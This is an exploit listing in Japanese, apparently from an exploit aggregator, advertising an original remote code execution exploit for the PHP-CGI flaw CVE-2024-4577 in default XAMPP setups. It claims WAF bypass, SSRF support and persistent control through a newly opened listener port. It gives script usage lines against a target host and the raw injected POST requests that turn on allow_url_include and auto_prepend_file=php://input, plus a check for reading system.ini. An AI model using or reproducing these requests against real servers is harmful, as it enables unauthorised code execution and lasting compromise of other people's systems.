Skip to content
CVE-2024-4577-PHP

CVE-2024-4577-PHP

Sploitus • September 12, 2026

##

* グローバル初のPHPデフォルト環境(XAMPP)を利用したCVE-2024-4577 PHP-CGI RCE脆弱性のエクスプロイト。

* 世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。デフォルトのPHP環境を利用。オリジナルのエクスプロイトを共有し、SSRFをサポート、WAFバイパスをサポート。

* PHPデフォルト環境でRCEを実現。原理:`cgi.force_redirect` \+ `REDIRECT-STATUS`。

* 新規オリジナルEXP、WAFバイパスシナリオに対応した手法を追加。原理:FastCGIサーバーの構築 + FastCGIプロトコル通信。

* 新規オリジナルEXP、SSRFシナリオに対応した手法を追加。原理:data://プロトコル + GETリクエスト。

* `allow_url_include`、`auto_prepend_file`、`auto_append_file` を必要とせずにRCEが可能。任意のファイルやPHPファイルをインクルードできます。

* WAFが頻繁にブロックするキーワード `allow_url_include`、`auto_prepend_file`、`auto_append_file` が出現しません。

* 新しいポートをリッスンするため、ApacheやPHPから独立してPHPサーバーを永続的に制御できます。

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1

または、こちらから影響を受けるバージョンを選択してください:

文字列 "TesT" またはサーバーの system.ini ファイルの内容が返されるか確認

Extracted Entities

IP Addresses (1)